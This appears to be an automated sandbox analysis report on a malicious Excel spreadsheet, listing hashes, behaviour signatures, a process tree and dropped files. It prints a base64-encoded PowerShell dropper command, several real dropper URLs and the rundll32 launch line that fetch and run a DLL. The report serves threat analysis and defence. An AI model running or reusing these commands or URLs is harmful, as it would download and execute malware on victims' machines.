Analysis

  • max time kernel
    24s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    30/09/2024, 21:58

General

  • Target

    26c6ac7761d2defcdab10bd02937e2d903b0bb15923bb3f967d973eed980f3f8.xls

  • Size

    150KB

  • MD5

    2d724d418abc864cf35c732b2f47a004

  • SHA1

    a58cf7ca5a1611461ed4a1cd72714594e922f41b

  • SHA256

    26c6ac7761d2defcdab10bd02937e2d903b0bb15923bb3f967d973eed980f3f8

  • SHA512

    64945e4f7ee3c7e82694a2bab71058cc19fdcd4be7ed7c2457c8f6ddf2ed84dc0434e07502c4e04b79000a97e2ad8babcf07d066cc38393501825737e2cbc27a

  • SSDEEP

    3072:McKoSsxzNDZLDZjlbR868O8KlVH3dehvMqAPjxO5xyZUE5V5xtezEVg8/dgzGx0W:McKoSsxzNDZLDZjlbR868O8KlVH3deh

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://actividades.laforetlanguages.com/wp-admin/BlkdOKDXL/

exe.dropper

http://sbcopylive.com.br/rjuz/w/

exe.dropper

https://trasix.com/wp-admin/y5Aa1jt0Sp2Qk/

exe.dropper

https://www.parkinsons.co.in/abc/Y6Y0fTbUEg6/

exe.dropper

https://biz.merlin.ua/wp-admin/W6agtFSRZGt371dV/

exe.dropper

http://bruckevn.site/3yztzzvh/nmY4wZfbYL/

exe.dropper

https://pardiskood.com/wp-content/NR/

exe.dropper

https://daujimaharajmandir.org/wp-includes/63De/

exe.dropper

https://datasits.com/wp-includes/Zkj4QO/

exe.dropper

https://anugerahmasinternasional.co.id/wp-admin/SJbxE5I/

exe.dropper

https://atmedic.cl/sistemas/3ZbsUAU/

exe.dropper

https://anwaralbasateen.com/Fox-C404/mDHkfgebMRzmGKBy/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\26c6ac7761d2defcdab10bd02937e2d903b0bb15923bb3f967d973eed980f3f8.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\wetidjks.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\jledshf.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2236
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGkAegAuAG0AZQByAGwAaQBuAC4AdQBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwA2AGEAZwB0AEYAUwBSAFoARwB0ADMANwAxAGQAVgAvACwAaAB0AHQAcAA6AC8ALwBiAHIAdQBjAGsAZQB2AG4ALgBzAGkAdABlAC8AMwB5AHoAdAB6AHoAdgBoAC8AbgBtAFkANAB3AFoAZgBiAFkATAAvACwAaAB0AHQAcABzADoALwAvAHAAYQByAGQAaQBzAGsAbwBvAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBOAFIALwAsAGgAdAB0AHAAcwA6AC8ALwBkAGEAdQBqAGkAbQBhAGgAYQByAGEAagBtAGEAbgBkAGkAcgAuAG8AcgBnAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANgAzAEQAZQAvACwAaAB0AHQAcABzADoALwAvAGQAYQB0AGEAcwBpAHQAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWgBrAGoANABRAE8ALwAsAGgAdAB0AHAAcwA6AC8ALwBhAG4AdQBnAGUAcgBhAGgAbQBhAHMAaQBuAHQAZQByAG4AYQBzAGkAbwBuAGEAbAAuAGMAbwAuAGkAZAAvAHcAcAAtAGEAZABtAGkAbgAvAFMASgBiAHgARQA1AEkALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHQAbQBlAGQAaQBjAC4AYwBsAC8AcwBpAHMAdABlAG0AYQBzAC8AMwBaAGIAcwBVAEEAVQAvACwAaAB0AHQAcABzADoALwAvAGEAbgB3AGEAcgBhAGwAYgBhAHMAYQB0AGUAZQBuAC4AYwBvAG0ALwBGAG8AeAAtAEMANAAwADQALwBtAEQASABrAGYAZwBlAGIATQBSAHoAbQBHAEsAQgB5AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABoAGsAbAB3AFIASABKAFMAZQA0AGgAIABpAG4AIAAkAGcAagBzAGUAYgBuAGcAdQBrAGkAdwB1AGcAMwBrAHcAagBkACkAewAkAEoAcwAzAGgAbABzAGsAZABjAGYAawA9ACIAdgBiAGsAdwBrACIAOwAkAHMAZABlAHcASABTAHcAMwBnAGsAagBzAGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJABKAHMAMwBoAGwAcwBrAGQAYwBmAGsAKwAiAC4AZABsAGwAIgA7AGkATgB2AE8AawBlAC0AdwBFAGIAcgBlAFEAdQBlAHMAVAAgAC0AdQBSAGkAIAAkAGgAawBsAHcAUgBIAEoAUwBlADQAaAAgAC0AbwB1AFQAZgBpAEwAZQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:608
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1436
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2000

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\programdata\jledshf.bat

    Filesize

    3KB

    MD5

    e869dd1a602a7f0cbbefb7a018cd1253

    SHA1

    5608819d8d30beb899bf048b1e332bf1c15e1129

    SHA256

    23552b48ee1a0953dcf2aa698a8210e55b9d0e356418a8de4122c2223b005208

    SHA512

    099b2cc685a9c3f7a789a91baff6e9207c90f80d3a97f2102c98cd50b6db1f447729be96aa5f623730fef4c8f219fabc1b6cf096465ed32f4e77d23743869d61

  • \??\c:\programdata\wetidjks.vbs

    Filesize

    589B

    MD5

    dd3db5e3dfe696a3de4220f803efe671

    SHA1

    f5d994a022d94d4b3b8a05dc7d8af5f843e9b00c

    SHA256

    ec96c900edae5819eadfa96da0d02b1e6488c51e085993479961522e3011b014

    SHA512

    8a60a7787901a91019966e7597ecdc9023a0ddabec7521bd276b4e710258aaff851cba462d12890908cd9ff34447a407d81ed242fc3f9a75930177cb8f5864dd

  • memory/2764-13-0x00000000005D0000-0x00000000006D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-10-0x00000000066D0000-0x00000000067D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-20-0x00000000005D0000-0x00000000006D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-19-0x00000000005D0000-0x00000000006D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-17-0x00000000005D0000-0x00000000006D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-18-0x00000000066D0000-0x00000000067D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-16-0x00000000005D0000-0x00000000006D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-15-0x00000000005D0000-0x00000000006D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-1-0x000000007295D000-0x0000000072968000-memory.dmp

    Filesize

    44KB

  • memory/2764-14-0x00000000005D0000-0x00000000006D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-28-0x00000000066D0000-0x00000000067D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-2-0x0000000007200000-0x0000000007300000-memory.dmp

    Filesize

    1024KB

  • memory/2764-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2764-33-0x000000007295D000-0x0000000072968000-memory.dmp

    Filesize

    44KB

  • memory/2764-34-0x0000000007200000-0x0000000007300000-memory.dmp

    Filesize

    1024KB

  • memory/2764-35-0x00000000066D0000-0x00000000067D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-36-0x00000000066D0000-0x00000000067D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-37-0x00000000005D0000-0x00000000006D0000-memory.dmp

    Filesize

    1024KB

  • memory/2764-38-0x00000000066D0000-0x00000000067D0000-memory.dmp

    Filesize

    1024KB